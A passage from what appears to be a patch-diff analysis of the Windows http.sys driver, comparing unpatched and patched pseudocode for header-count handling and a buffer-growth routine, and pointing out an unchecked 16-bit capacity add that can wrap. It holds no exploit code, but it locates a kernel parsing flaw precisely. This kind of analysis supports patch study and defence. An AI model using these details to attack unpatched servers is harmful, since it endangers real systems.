&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;UlParseRequestHeaderPairs&lt;/code&gt; — header-pair loop (before vs. after)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ─── UNPATCHED @ 0x1C000F440 ─────────────────────────────────────&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;UlParseRequestHeaderPairs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// args[1] == *(args+8) == number of header pairs already tokenized&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// No count gate — the loop runs over all args[1] entries.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// whitespace-trim name/value via HttpChars table&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// hash(name) → switch(hash) { case 0xD2571FDB: ... strncmp ... }&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ─── PATCHED @ 0x1C000FAA0 ───────────────────────────────────────&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;UlParseRequestHeaderPairs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ── NEW: feature/KIR-gated header-count gate ──&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UxKirMaxHeadersCountLimit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// gate byte (0 = old path)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn_state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3F8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;limit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1124&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// MaxHeadersCount (new field)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;limit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;WPP_SF_qLd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x5E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// WPP trace, msg id 0x5E&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;error_code&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x29&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// http.sys internal error&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;status_field&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0000040&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// stored NTSTATUS value&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error_cleanup&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C00104C3&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// identical per-header work (whitespace-trim, hash, switch/strncmp)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note: &lt;code&gt;args[1]&lt;/code&gt; is an &lt;strong&gt;input count&lt;/strong&gt;, not a value incremented inside this loop. The per-header pool allocation / list insertion happens in the upstream tokenizer, not in this function.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;UlpParseNextRequest&lt;/code&gt; — buffer-growth guard (before vs. after)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ─── UNPATCHED @ 0x1C0006C30 (buffer full → grow) ────────────────&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;used_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [conn+0x640], USHORT */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool3&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UlRR&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [conn+0x648] */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;used_count&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x640&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ← unchecked 16-bit add (wraps at 0xFFFF)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x648&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ─── PATCHED @ 0x1C0006C30 ───────────────────────────────────────&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;used_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UxKirRefBufferOverflowCheck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// gate on → checked path&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;USHORT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newcap&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;RtlUShortAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*5*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;newcap&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INTEGER_OVERFLOW&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                        &lt;/span&gt;&lt;span class="c1"&gt;// bail, no realloc&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool3&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newcap&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UlRR&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;used_count&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x640&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newcap&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// checked capacity&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x648&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// old unchecked path retained (capacity*8 + 0x28, then += 5)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;UxReadHttp11ParserSettings&lt;/code&gt; — configuration read (patched only path)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UxReadHttp11ParserSettings (unpatched @ 0x1C0127168, patched @ 0x1C0127178)&lt;/span&gt;
&lt;span class="c1"&gt;// MaxRequestBytes: min 0x100, default 0x4000, max 0x1000000  (unchanged)&lt;/span&gt;
&lt;span class="c1"&gt;// MaxFieldLength : moved from cfg+0x1124 (unpatched) to cfg+0x1128 (patched)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UxKirMaxHeadersCountLimit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// NEW, gated read&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MaxRequestBytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// /512&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// floor 200&lt;/span&gt;
